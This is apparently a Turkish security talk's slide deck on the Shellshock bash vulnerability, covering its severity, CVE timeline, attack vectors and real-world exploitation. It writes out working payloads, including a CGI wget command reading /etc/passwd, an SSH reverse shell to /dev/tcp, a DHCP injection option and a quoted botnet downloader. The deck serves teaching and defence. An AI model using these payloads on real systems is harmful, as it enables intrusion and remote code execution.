SHELLSHOCK

Onur ALANBEL
BGA Bilgi Güvenliği
onur.alanbel@bga.com.tr

env t=‘() { :;}; whoami;’ bash -c date

- Uygulama Güvenliği Uzmanı
  - Zararlı Yazılım Analizi

Bash Nedir?

- Linux
- BSD
- OS X
- Cygwin

İnteraktif?

- /bin/sh
- /bin/bash
- /bin/dash
- /bin/ash
- /bin/zsh

Etkisi

- **CVSS Severity (version 2.0):**
- CVSS v2 Base Score: 10.0 (HIGH) (AV:N/AC:L/Au:N/C:C/I:C/A:C) (legend)
- Impact Subscore: 10.0
- Exploitability Subscore: 10.0
- **CVSS Version 2 Metrics:**
- Access Vector: Network exploitable
- Access Complexity: Low
- Authentication: Not required to exploit
- Impact Type: Allows unauthorized disclosure of information; Allows unauthorized modification; Allows disruption of service

Zafiyet Olarak Keşfi

- Stephane CHAZELAS
  http://seclists.org/oss-sec/2014/q4/92

```
onur@ubuntu:~$ env t='() { :;}; echo vulnerable' bash -c 'echo ignore'
vulnerable
ignore
```

Zaman Çizelgesi

- Bash 1.03 by Brain Fox - 01.09.1989
- CVE-2014-6271 - 24.09.2014
- CVE-2014-7169 - 26.09.2014
- CVE-2014-7186 - 01.10.2014
- CVE-2014-7187 - 01.10.2014
- CVE-2014-6277 - 02.10.2014
- CVE-2014-6278 - 05.10.2014

Test Betikleri

- https://raw.githubusercontent.com/hannob/bashcheck/master/bashcheck

- https://github.com/wreiske/shellshocker/

Veri ve Kodun Ayrılığı

- Bellek Taşması
- SQLi
- XSS
- Dosya İçe Aktarma
- Fonksiyon İçe Aktarma

Atak Vektörleri

- CGI
- DHCP
- SSH
- SMTP
- SUID/GUID Bits

CGI

- wget -U "() { :;};echo;echo; /bin/cat /etc/passwd" http://172.16.63.164/cgi-bin/ss1.sh

- () { :}
  echo
  echo
  /bin/cat /etc/passwd

DHCP

- interface=eth0
  dhcp-range=192.168.18.15,192.168.18.20,12h
  dhcp-option-force=110,() { :; }; echo ‘bummm!"

- dnsmasq

SSH

- ssh git@gitlabserver.com ‘() { :;}; /bin/bash -i >& /dev/tcp/1.1.1.1/8118 0 >&1’

SMTP

- 220 localhost.localdomain ESMTP Postfix
  ehlo me
  250-localhost.localdomain
  ….
  mail from:<test@bga.com.tr>
  rcpt to:<test@bga.com.tr>
  To: () { i;}; /bin/ -c ‘mail -s hello
  <info@bga.com.tr>’
  …

- http://www.exploit-db.com/exploits/34896/

SUID/GUID

- ls -ls /Applications/VMware\ Fusion.app/Contents/Library/vmware-vmx-stats

```
50848 -rwsr-xr-x@ 1 root  wheel  26033264 Sep  5 01:38 /Applications/VMware Fusion.app/Contents/Library/vmware-vmx-stats
```

Windows?

- set t=nop^&ping -n 1 bga.com.tr
  echo %t%

Bilinen Ataklar

- Botnetler (MMD-0027-2014)

```
---snip
User-Agent: () { :; }; /usr/bin/wget www.0rz.it/「REDACTED」-O /tmp/「REDACTED」|
/bin/chmod 777 /tmp/「REDACTED」| /tmp/「REDACTED」
---end snip
```

- Worms (Kaspersky)

- Yahoo (dip4.gq1.yahoo.com)

Botnetler

Linux botnet 'Mayhem' spreads through Shellshock exploits

Lucian Constantin

Oct 10, 2014 8:22 AM

Shellshock continues to reverberate: Attackers are exploiting recently discovered vulnerabilities in the Bash command-line interpreter in order to infect Linux servers with a sophisticated malware program known as Mayhem.

Wormlar

WORMS

Russian security software maker Kaspersky Lab reported that a computer worm has begun infecting computers by exploiting "Shellshock."

The malicious software can take control of an infected machine, launch denial-of-service attacks to disrupt websites, and also scan for other vulnerable devices, including routers, said Kaspersky researcher David Jacoby.

Yahoo

Bloomberg News

Yahoo Says 3 Servers Hacked Via Shellshock, No Data Taken

By Chris Strohm | October 06, 2014

SEND TO kindle

Yahoo! Inc. said three of its computer servers were breached by hackers who exploited the Shellshock security hole. No user data was stolen.

"As soon as we became aware of the issue, we began patching our systems and have been closely monitoring our network," Elisa Shyu, a spokeswoman for the Sunnyvale, California-based company, said in an e-mail. "We isolated a handful of our impacted servers and at this time we have no evidence of a compromise to user data."

BGA

- 180.186.121.254 - - [14/Oct/2014:21:51:58 +0300] "GET /cgi-bin/userreg.cgi HTTP/1.1" 404 480 "-" "() { :;}; echo `echo xbash:test`"
- 180.186.121.254 - - [14/Oct/2014:21:51:57 +0300] "GET /cgi-bin/webmail.cgi HTTP/1.1" 404 480 "-" "() { :;}; echo `echo xbash:test`"
- 180.186.121.254 - - [14/Oct/2014:21:51:57 +0300] "GET /cgi-bin/admin.cgi HTTP/1.1" 404 478 "-" "() { :;}; echo `echo xbash:test`"
- 180.186.121.254 - - [14/Oct/2014:21:51:57 +0300] "GET /cgi-bin/content.cgi HTTP/1.1" 404 480 "-" "() { :;}; echo `echo xbash:test`"
- 180.186.121.254 - - [14/Oct/2014:21:51:56 +0300] "GET /cgi-bin/viewcontent.cgi HTTP/1.1" 404 484 "-" "() { :;}; echo `echo xbash:test`"
- 180.186.121.254 - - [14/Oct/2014:21:51:56 +0300] "GET /cgi-bin/details.cgi HTTP/1.1" 404 480 "-" "() { :;}; echo `echo xbash:test`"
- 180.186.121.254 - - [14/Oct/2014:21:51:54 +0300] "GET /cgi-bin/vidredirect.cgi HTTP/1.1" 404 484 "-" "() { :;}; echo `echo xbash:test`"
- 180.186.121.254 - - [14/Oct/2014:21:51:53 +0300] "GET /cgi-bin/about.cgi HTTP/1.1" 404 478 "-" "() { :;}; echo `echo xbash:test`"
- 180.186.121.254 - - [14/Oct/2014:21:51:53 +0300] "GET /cgi-bin/help.cgi HTTP/1.1" 404 477 "-" "() { :;}; echo `echo xbash:test`"
- 180.186.121.254 - - [14/Oct/2014:21:51:52 +0300] "GET /cgi-bin/index.cgi HTTP/1.1" 404 478 "-" "() { :;}; echo `echo

Kaynaklar

- http://www.dwheeler.com/essays/shellshock.html#timeline
- http://seclists.org/oss-sec/2014/q4/92
- http://www.businessinsider.com.au/romanian-hackers-allegedly-used-the-shellshock-bug-to-hack-yahoos-servers-2014-10
- http://www.wired.com/2014/10/shellshockresearcher/
- http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html?m=1